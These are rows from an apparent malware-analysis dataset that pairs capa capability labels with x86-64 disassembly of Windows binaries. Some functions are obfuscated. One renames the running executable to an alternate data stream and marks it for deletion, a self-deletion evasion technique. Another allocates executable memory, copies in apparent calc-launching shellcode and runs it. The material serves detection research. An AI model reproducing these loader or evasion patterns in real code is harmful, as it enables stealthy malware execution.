joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14084736e
Capabilities:
Authenticate hmac
Encode data using base64
Encrypt data using chaskey
Parse pe header

Disassembly:
mov r11d, dword [rdi + rsi*2 - 0x168b]
xor r11d, r10d
btr rbp, rbx
pop rdx
lea r11d, [r11 + rsi + 0x6c003f5a]
sar ebp, 0xdf
mov edx, 0x825e120
bswap edx
ror r11d, 3
bswap rsi
cwde
sub r11d, ebp
dec ax
or rbp, rax
btc rdx, rdx
rol r11d, 3
cwd
push r10
xor dword [rsp + rdx - 0x20e1ffff], r11d
xchg sil, dl
sar si, 0xc1
sbb bx, bp
pop r10
movsxd r11, r11d
add r8, r11
mul rbx
mov rdx, qword [rdi + riz + 9]
sbb rdi, 0xffffffffffffffee
xor rdx, r10
movzx r11d, bl
not rdx
neg sil
movsx ecx, ax
shr eax, 0xb
lea rdx, [rdx + rax*4 + 0x10f2a6de]
and sil, 0x9f
bts rax, rbp
xor rdx, 0x36bcf13d
lea rdx, [rdx + rax*2 + 0x6a595a7d]
add si, si
or eax, ebx
neg rdx
sal rbx, 0x70
and ebp, ebp
bt rbp, rbp
xor rdx, 0x6a9fa295
add ebp, r11d
push rbx
or cl, al
dec rdx
xor r11, rbx
not rdx
ror word [rsp + rax*2 + 3], 0xe1
cmovbe rsi, rax
not rbx
neg rdx
xor r10, rdx
dec word [rsp + rsi*4 + 5]
mov qword [r9 + rsi - 4], rdx
xadd word [rsp + rsi*2], r11w
neg rsi
pop rdx
lea r9, [r9 + rsi*2 - 4]
jle fcn.1408404ab

Function at 0x140848445
Capabilities:
Encode data using base64
Manually build aes constants

Disassembly:
neg bpl
or rdx, r8
jmp rdx
or rcx, rbp
xor eax, 0xd2ad07b3
mov qword [rsp + rdx - 0x13], r11
shr r11, cl
and bx, 0xff10
sbb eax, 0x879d728d
sar ebp, 0xee
mov qword [rsp + rdx - 0x13], r10
xor dword [rsp + rdx*2 - 0x26], eax
xadd r11w, dx
sub ebx, edx
pop r10
movsxd rax, eax
bswap r11
adc r8, rax
shr bp, 0xa1
mov rsi, qword [r9 + rdx]
xor r11w, word ss:[rsi + rdx]
lea rsi, [rcx*4 + 0x64bf6e20]
lea r9, [r9 + rdx*4 + 6]
rol rbx, cl
shr sil, 0x84
mov word [r9 + rdx*8], r11w
and dx, cx
jno 0x14080be39

Function at 0x14084af0d
Capabilities:
Encode data using base64
Parse pe header

Disassembly:
mov ebx, 0x5dbf731d
mov word [r9 + rbp*2 + 0x3583c8e0], si
mov r11d, dword [rbp + rdi + 0x1ac1e472]
add dl, bpl
shl ebp, 0x6e
mov qword [rsp + rbx - 0x5dbf731d], rax
xor r11d, r10d
call fcn.140825596
Function at 0x14084cb1f
Capabilities:
Encode data using base64

Disassembly:
mov ebx, eax
xor ecx, r10d
lea r11, [rbx*2 + 0x73239011]
btr ax, dx
movzx esi, ax
rol ecx, 2
inc ecx
xchg esi, eax
lea r11, [rax*2 + 0x2389b418]
rol ecx, 3
lea rsi, [r11*2 - 0x4a6302c2]
shr dx, 0x49
lea ecx, [rcx + rdx*2 - 0x2d9203ba]
bswap eax
xor ecx, 0x6af843e
add al, bh
push r10
xor dword [rsp + rdx*2], ecx
inc dl
movzx r10d, bl
xor r10b, r11b
pop r10
sets bl
adc r11b, sil
movsxd rcx, ecx
sub bx, dx
shl bp, 0x45
adc r8, rcx
call fcn.140844cf1
lea rax, [rsp + rax + 0x28]
mov qword [rax + r11*2 - 0x18], rbx
movzx ebp, byte [rsp + r11 + 0x14]
mov rax, qword [rdi + r11 - 7]
xor rax, r10
and r11b, bpl
lea rax, [r11 + rax + 0x47f95467]
setnp cl
rol rax, 2
dec dl
add sil, byte [rsp + r11 + 0x1b]
push rbp
neg rax
movsx ebx, dx
sub dword [rsp + r11*2 + 0x1c], 0x8f0beba0
add bx, word [rsp + r11*4 + 0x1a]
rol rax, 6
neg ecx
pop rbx
xor rax, 0x652487ae
inc cx
pop r11
xor r10, rax
mov qword [r9 + rbp*2 - 0x16c], rax
movzx esi, byte [rbp + rdi - 0xa9]
add edx, ebx
mov eax, dword [rsp + rdx - 0x4834019b]
lea rdi, [rdx + rdi - 0x483401a5]
xor sil, r10b
pop r11
inc sil
ror rax, 0x86
xor byte [rsp + rdx - 0x483401a6], 0x8e
add bp, ax
xor sil, 0xbd
neg bx
not sil
call fcn.1408294eb
mov eax, 0xb43d7b95
movzx ebx, ax
movzx esi, al
mov esi, dword [rdi + rbx - 0x7b95]
bswap eax
not eax
lea rdi, [rax + rdi - 0x6a84c247]
lea r11, [rbx + rbx*2 - 0xe761fd2]
lea rcx, [rbx*4 - 0x3949b5ea]
xor esi, r10d
rol cx, 0xc2
jae 0x140814ed8
mov qword [rsp], 0x5d2808b9
push 0x358a168a
xor r10d, ecx
push 0xffffffffa50a5409
and r10d, 0xff
mov r10d, dword [r9 + r10*4]
sal word [rsp + 4], 0xd
neg dword [rsp + 0x11]
shr ecx, 8
sar byte [rsp + 6], 0xe2
xor ecx, r10d
inc rax
push 0x2e2dcd10
xor ecx, 0x3cadf700
shl dword [rsp + 9], 0x9e
setns byte [rsp + 0xb]
dec qword [rsp + 0x11]
dec rsi
push 0x11adea8f
lea rsp, [rsp + 0x28]
jne 0x14084d4ec
pop r10
mov r11d, 0x91041b22
pop r9
mov edx, 0x57a85281
movsx eax, dx
not ecx
cbw
mov dword [rax + r9 - 0xff81], ecx
cdq
movsx ebp, dx
mov ecx, dword [rdi + rdx*2]
lea rdi, [rdi + rdx*2 + 4]
jmp 0x140819fab

Function at 0x14084fb09
Capabilities:
Authenticate hmac
Encode data using base64

Disassembly:
mov r10, qword [rsp + rcx*4 - 0x1fffe66c]
mov qword [rsp + rbx + 0x125e08f6], rbx
xadd r11b, dl
movsxd rax, eax
movsx ebp, dl
add r8, rax
mov qword [rsp + rbx*2 + 0x24bc11fc], 0xffffffffceb4848a
lea rcx, [rbp + 0x92eb600]
mov edx, dword [rdi + rbx*2 + 0x24bc11f0]
bswap ebx
or rbx, qword [rsp + rbx*4 - 0x2bde87b0]
xor edx, r10d
mov byte [rsp + 0x12], ch
call fcn.14085a890
not r11d
bts dx, ax
add eax, 0x1dbd112d
sbb r11d, 0xe9247719
mov ebp, edx
sub ax, 0xd82b
neg r11d
and dx, si
btr rbp, rcx
push rbx
dec r11d
sal qword [rsp + rdx*2], cl
Function at 0x140851ebd
Capabilities:
Authenticate hmac
Encode data using base64
Encrypt data using chaskey

Disassembly:
push 0x54a5902b
xor r8d, ecx
and r8d, 0xff
add byte [rsp + 4], 0x84
mov word [rsp + 4], 0x9631
mov r8d, dword [rdx + r8*4]
sar dword [rsp + 4], 0xbf
sal byte [rsp + 4], 0x63
jbe 0x14085ce9f
lea rdx, [0x14083b7d0]
lea rsp, [rsp + 8]
mov r8d, 0x920c8e9a
rol r8w, 0xe9
movzx r8d, byte [r11 + riz]
jb 0x140843ffa
shr ecx, 8
xor ecx, r8d
inc dword [rsp + 1]
inc r11
not byte [rsp + 1]
mov qword [rsp], 0xffffffffc5187628
push 0xffffffffd10ca084
xor ecx, 0xa2ae2daf
dec rbx
not qword [rsp + 5]
lea rsp, [rsp + 0x10]
jne 0x140851ec9
mov ebx, 0x4b054e0c
movsx ebp, bx
lea rax, [rbp*2 + 0x64a4a696]
pop r8
mov esi, 0x4b3b0427
not ecx
mov dword [r9 + rsi - 0x4b3b0427], ecx
lea rbx, [rsi + rsi*2 + 0x469e6e34]
call fcn.140810b99

Function at 0x140852977
Capabilities:
Encode data using base64
Encrypt data using chaskey

Disassembly:
jmp 0x14081f2fe
lea rsp, [rsp + 8]
jmp fcn.140849e31
jmp 0x14084f8c0
lea rsp, [rsp + 0x20]
jne 0x140802056
call fcn.140803042
cmp ebx, 3
jne 0x14082e516
mov r8, rax
push 0xffffffffc3a1c62f
jmp 0x14081bbdb
cmp ebx, 2
push 0xffffffffdc2a9532
push 0x23895b35
jmp 0x140843429

Function at 0x140852e61
Capabilities:
Parse pe header

Disassembly:
movzx ecx, byte [rdi + riz]
mov qword [rsp], 0xffffffffd01c4116
add rdi, 1
and word [rsp + 4], si
mov edx, 0x7116ffa9
lea rbp, [rdx*2 - 0x33fb8651]
xor cl, r10b
not cl
movzx r11d, dx
neg cl
add cl, 0xbc
mov ebx, dword [rsp + rdx - 0x7116ffa9]
xchg si, bx
not cl
xchg si, dx
ror cl, 1
sar byte [rsp + r11 - 0xffa4], 0xc2
sar dx, 0x4a
xor r10b, cl
push r11
pop rax
lea rcx, [rsp + rcx + 8]
call fcn.1407f0091
Function at 0x14085cb40
Capabilities:
Authenticate hmac
Encode data using base64

Disassembly:
mov r11d, 0x52a2619c
or r11w, 0xc59d
mov edx, dword [rdi + r11 - 0x52a2e59d]
movsx esi, r11w
mov ebx, esi
lea rdi, [r11 + rdi - 0x52a2e599]
xor edx, r10d
lea edx, [r11 + rdx + 0x76ec4fee]
mov ecx, r11d
mov ebp, esi
neg edx
inc edx
btr r11d, ecx
mov qword [rsp + r11 - 0x52a2e59d], rsi
neg edx
or r11b, 0x10
movsx eax, bpl
dec ax
lea edx, [r11 + rdx - 0x42123699]
mov qword [rsp + rcx - 0x52a2e59d], r10
push rcx
imul r11, qword [rsp + r11 - 0x52a2e59d]
xor dword [rsp + rcx - 0x52a2e595], edx
rol ebp, 0xf3
mov r10, qword [rsp + rcx - 0x52a2e595]
mov qword [rsp + rbp*2 - 0x59dffff6], 0x60bc9402
movsxd rdx, edx
add r8, rdx
xadd bx, ax
and rbp, rcx
mov r11d, dword [r9 + rbp - 0xa2e59d]
lea r9, [r9 + rbp - 0xa2e599]
movzx eax, word [rdi + rcx - 0x52a2e59d]
lea rdi, [rdi + rbp*2 - 0x145cb38]
xor ax, r10w
xchg bx, bp
not ax
call fcn.140827e10

Function at 0x14085d074
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + rax*2], r11
ror dl, 1
call fcn.140817949
Function at 0x140001090
Capabilities:
Set file attributes

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0xe90
lea rbp, [rsp + 0x30]
lea rax, str.:Test
mov qword [rbp + 0x10], rax
call fcn.1400012e0
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x438], rax
mov rax, qword [rbp + 0x438]
sub rax, 0x10
mov qword [rbp + 0x440], rax
mov rax, qword [rbp + 0x440]
mov r9, qword [rax + 0x50]
lea r8, str.___s
mov edx, 0x200
lea rcx, [rbp + 0x30]
call sub.ntdll.dll_swprintf_s
mov dword [rbp + 0x448], eax
movsxd rax, dword [rbp + 0x448]
xor ecx, ecx
mov word [rbp + rax*2 + 0x30], cx
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x18]
call section..text
nop
mov dword [rbp + 0x450], 0x30
mov qword [rbp + 0x458], 0
lea rax, [rbp + 0x18]
mov qword [rbp + 0x460], rax
mov dword [rbp + 0x468], 0
mov qword [rbp + 0x470], 0
mov qword [rbp + 0x478], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
lea r9, [rbp]
lea r8, [rbp + 0x450]
mov edx, 0x110000
lea rcx, [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtOpenFile]
nop
lea rax, [rbp + 0x480]
mov qword [rbp + 0xc80], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xe50], rax
mov qword [rbp + 0xe58], 0xffffffffffffffff
inc qword [rbp + 0xe58]
mov rax, qword [rbp + 0xe50]
mov rcx, qword [rbp + 0xe58]
cmp word [rax + rcx*2], 0
jne 0x1400011a2
mov rax, qword [rbp + 0xe58]
mov eax, eax
shl rax, 1
mov rcx, qword [rbp + 0xc80]
mov dword [rcx + 0x10], eax
mov rax, qword [rbp + 0xc80]
mov byte [rax], 1
mov rax, qword [rbp + 0xc80]
mov qword [rax + 8], 0
mov rax, qword [rbp + 0xc80]
mov eax, dword [rax + 0x10]
mov rcx, qword [rbp + 0xc80]
add rcx, 0x14
mov rdi, rcx
mov rsi, qword [rbp + 0x10]
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x20], 0xa
mov r9d, 0x800
mov r8, qword [rbp + 0xc80]
lea rdx, [rbp]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtSetInformationFile]
nop
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtClose]
nop
mov byte [rbp + 0xc88], 1
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
lea r9, [rbp]
lea r8, [rbp + 0x450]
mov edx, 0x110000
lea rcx, [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtOpenFile]
nop
mov dword [rsp + 0x20], 0xd
mov r9d, 1
lea r8, [rbp + 0xc88]
lea rdx, [rbp]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtSetInformationFile]
nop
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtClose]
nop
lea rsp, [rbp + 0xe60]
pop rdi
pop rsi
pop rbp
ret
Function at 0x140002020
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x48
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rsi, r9
mov rbx, r8
mov rbp, rdx
mov r15, rcx
test r8b, 0xf
jne 0x140002129
mov r14, rbx
shr r14, 4
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsi], rax
mov rdi, rax
test rax, rax
je 0x140002129
lea rbx, [r15 + 0xf0]
test r14, r14
je 0x140002125
lea rsi, [rbx + 0xf]
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rbp]
xor eax, eax
lea rcx, [rsp + 0x20]
movups xmmword [rsp + 0x20], xmm0
cmp rcx, rsi
ja 0x1400020ea
lea rcx, [rsp + 0x2f]
cmp rcx, rbx
jb 0x1400020ea
lea rcx, [rsp + 0x20]
mov r8, rbx
sub r8, rcx
nop word [rax + rax]
lea rdx, [rsp + 0x20]
add rdx, rax
inc rax
movzx ecx, byte [r8 + rdx]
xor byte [rdx], cl
cmp rax, 0x10
jb 0x1400020d0
jmp 0x1400020fd
movdqu xmm0, xmmword [rsp + 0x20]
movdqu xmm1, xmmword [rbx]
xorps xmm1, xmm0
movdqu xmmword [rsp + 0x20], xmm1
lea r9, [rsp + 0x20]
mov r8, rdi
mov rcx, r15
call fcn.140001ca0
movups xmm0, xmmword [rdi]
add rdi, 0x10
add rbp, 0x10
movups xmmword [rbx], xmm0
sub r14, 1
jne 0x1400020a0
mov al, 1
jmp 0x14000212b
xor al, al
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140002a70
add rsp, 0x48
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400c1a30]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400c1a40]
mov dword [rax], 1
mov rax, qword [0x1400c1a50]
mov dword [rax], 1
mov rax, qword [0x1400c1a20]
mov dword [rax], 1
mov rax, qword [0x1400c18c0]
cmp word [rax], 0x5a4d
jne 0x140001067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010d0
mov rax, qword [0x1400c1a10]
mov dword [0x1400e8020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010c0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x1400c19d0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1400c19b0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400c0d20]
cmp dword [rax], 1
je 0x140001108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001120
cmp dx, 0x20b
jne 0x140001067
cmp dword [rax + 0x84], 0xe
jbe 0x140001067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x140001067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x140001067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x140001067

Function at 0x140001540
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
call dbg.__main
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x69
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rcx, qword [str.PQRSVWUj_ZhcalcTYH]
mov rbx, qword [0x1400b9028]
mov qword [rax], rcx
mov qword [rax + 8], rbx
mov rcx, qword [0x1400b9030]
mov rbx, qword [0x1400b9038]
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rbx
mov rcx, qword [0x1400b9040]
mov rbx, qword [0x1400b9048]
mov qword [rax + 0x20], rcx
mov qword [rax + 0x28], rbx
mov rcx, qword [0x1400b9050]
mov rbx, qword [0x1400b9058]
mov qword [rax + 0x30], rcx
mov qword [rax + 0x38], rbx
mov rcx, qword [0x1400b9060]
mov rbx, qword [0x1400b9068]
mov qword [rax + 0x40], rcx
mov qword [rax + 0x48], rbx
mov rcx, qword [0x1400b9070]
mov rbx, qword [0x1400b9078]
mov qword [rax + 0x50], rcx
mov qword [rax + 0x58], rbx
mov rdx, qword [str.0___ZYX]
mov qword [rax + 0x60], rdx
movzx edx, byte [0x1400b9088]
mov byte [rax + 0x68], dl
mov rax, qword [rbp - 8]
call rax
lea rdx, str.Hello_World__n
mov rcx, qword [0x1400c12e0]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov eax, 0
add rsp, 0x38
pop rbx
pop rbp
ret
Function at 0x14000af30
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]

Function at 0x14000afa0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x1400e80c4]
mov r12, rcx
test ebx, ebx
jle 0x14000b0d0
mov rax, qword [0x1400e80c8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x14000afec
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x14000b073
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x14000afd0
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rsi, rax
test rax, rax
je 0x14000b0f2
mov rax, qword [0x1400e80c8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1400e80c8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000b0d7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000b06c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000b080
add dword [0x1400e80c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x1400e80c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000b06c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor ebx, ebx
jmp 0x14000aff7
mov rax, qword [0x1400e80c8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000b5b0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x1400e8120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400e8100]
test rbx, rbx
je 0x14000b604
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000b5fb
test r12, r12
je 0x14000b5fb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000b5e0
lea rcx, [0x1400e8120]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14000b820
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x14000b838
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x14000b840
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x14000b850
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
mov r8, rdx
lea rdx, [rax + rcx]
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x14000b89c
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov ecx, dword [rax + 0xc]
mov rdx, rcx
cmp rcx, r8
ja 0x14000b893
add edx, dword [rax + 8]
cmp rdx, r8
ja 0x14000b89e
add rax, 0x28
cmp rax, r9
jne 0x14000b880
xor eax, eax
ret

Function at 0x14000b8a0
Capabilities:
Parse pe header

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.strlen
cmp rax, 8
ja 0x14000b930
mov rdx, qword [0x1400c18c0]
xor r12d, r12d
cmp word [rdx], 0x5a4d
jne 0x14000b91e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000b91e
cmp word [rax + 0x18], 0x20b
jne 0x14000b91e
movzx edx, word [rax + 0x14]
lea r12, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x14000b930
sub eax, 1
lea rax, [rax + rax*4]
lea rsi, [r12 + rax*8 + 0x28]
jmp 0x14000b909
add r12, 0x28
cmp r12, rsi
je 0x14000b930
mov r8d, 8
mov rdx, rbx
mov rcx, r12
call sym.strncmp
test eax, eax
jne 0x14000b900
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x14000b940
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400c18c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000b960
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000b968
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000b960
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x14000b9b5
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000b9ac
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000b960
add rax, 0x28
cmp rax, r9
jne 0x14000b998
xor eax, eax
ret

Function at 0x14000b9c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400c18c0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x14000b9e0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000b9e8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000b9e0
movzx r8d, word [rax + 6]
mov eax, r8d
ret
Function at 0x14000ba00
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400c18c0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x14000ba20
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x14000ba28
ret
cmp word [rdx + 0x18], 0x20b
jne 0x14000ba20
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x14000ba68
sub edx, 1
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x14000ba5f
test rcx, rcx
je 0x14000ba20
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x14000ba50
xor eax, eax
ret

Function at 0x14000ba70
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400c18c0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x14000ba90
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x14000ba98
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x14000bab0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x1400c18c0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x14000bad0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x14000bad8
mov eax, r8d
ret
cmp word [rdx + 0x18], 0x20b
jne 0x14000bad0
sub rcx, rax
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x14000bad0
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000bb14
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000bb28
add rax, 0x28
cmp r9, rax
jne 0x14000bb00
xor r8d, r8d
mov eax, r8d
ret
mov r8d, dword [rax + 0x24]
not r8d
shr r8d, 0x1f
mov eax, r8d
ret

Function at 0x14000bb40
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400c18c0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x14000bb62
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x14000bb70
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000bb62
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x14000bb62
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x14000bb62
sub r8d, 1
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop dword [rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x14000bbbd
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x14000bbd0
add rdx, 0x28
cmp r10, rdx
jne 0x14000bba8
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x14000bbdf
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x14000bbef
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000bbc6
test ecx, ecx
jg 0x14000bbd8
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret